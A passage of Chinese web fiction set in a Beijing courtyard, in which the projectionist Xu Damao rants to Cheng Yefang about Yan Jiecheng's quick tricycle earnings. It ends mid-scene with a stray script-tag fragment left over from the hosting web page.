一路上,阎解成那张得意洋洋的脸、那个鼓囊囊的挎包、还有那轻飘飘说要去“下馆子吃肉丝面”的口气,在他脑子里来回打转。
“呸!什么玩意儿!”许大茂低声骂了一句,自行车轱辘碾过门槛,发出“咣当”一声闷响。他阴沉着脸,把车往院里一支,锁都懒得锁严实,就快步走向自家屋子。
凭什么?他许大茂,堂堂轧钢厂放映员,有技术、有面子的工作,风里来雨里去,下乡放电影还得陪笑脸、装孙子,一个月到头,工资加外快,算计来算计去,也就那三四十块钱。
刨去吃喝拉撒,人情往来,能剩下几个?可阎解成那小子,一个蹬三轮的,以前穷得叮当响,见了他都得点头哈腰喊声“茂哥”,现在倒好,一上午!就他妈一上午!挣了他两天的钱!还敢在他面前显摆要去下馆子!
许大茂越想越气,一股无名火直冲脑门。这世道真是变了?老老实实在厂里干活,还不如个卖苦力的板儿爷来钱快?他感觉自己那份“工人阶级领导一切”的优越感,被阎解成那两块钱砸得稀碎。
“吱呀”一声,他推开门,带着一股子燥气进了屋。
程叶芳正坐在炕沿上缝补一件旧衣服,见许大茂这个点回来,脸上还阴沉得能拧出水来,不由得愣了一下,放下手里的活计:“大茂?你这……咋这个点儿回来了?厂里没事了?”她注意到许大茂脸色难看,小心地问:“是……学校那事儿不顺利?跟刘科长碰上了?”
“哼!”许大茂一屁股瘫坐在椅子上,抓起桌上的凉茶壶,也顾不上倒杯子,对着壶嘴“咕咚咕咚”灌了几大口,这才抹了把嘴,没好气地说:“学校那点破事早完了!刘国栋去了,三下五除二,贾张氏那老虔婆屁都没敢多放一个!”
“那……你这是跟谁置气呢?”程叶芳更纳闷了。
“跟谁?跟阎埠贵家那小子!阎解成!”许大茂像是找到了宣泄口,声音都提高了八度,带着浓浓的嘲讽和酸意,“你猜怎么着?我刚回来路上碰见他了!好家伙,骑个破三轮,鼻孔都快朝天了!”
程叶芳放下针线,往前凑了凑,好奇地问:“解成?他咋了?挣着钱了?”
“何止是挣着钱了!”许大茂一拍大腿,模仿着阎解成那得意的腔调,“人家一上午,就蹬了那么几圈车,挣了这个数!”他伸出两根手指,在程叶芳眼前使劲晃了晃,
/script src="https://m.ynfzff.com/17mb/scripts/test1.js">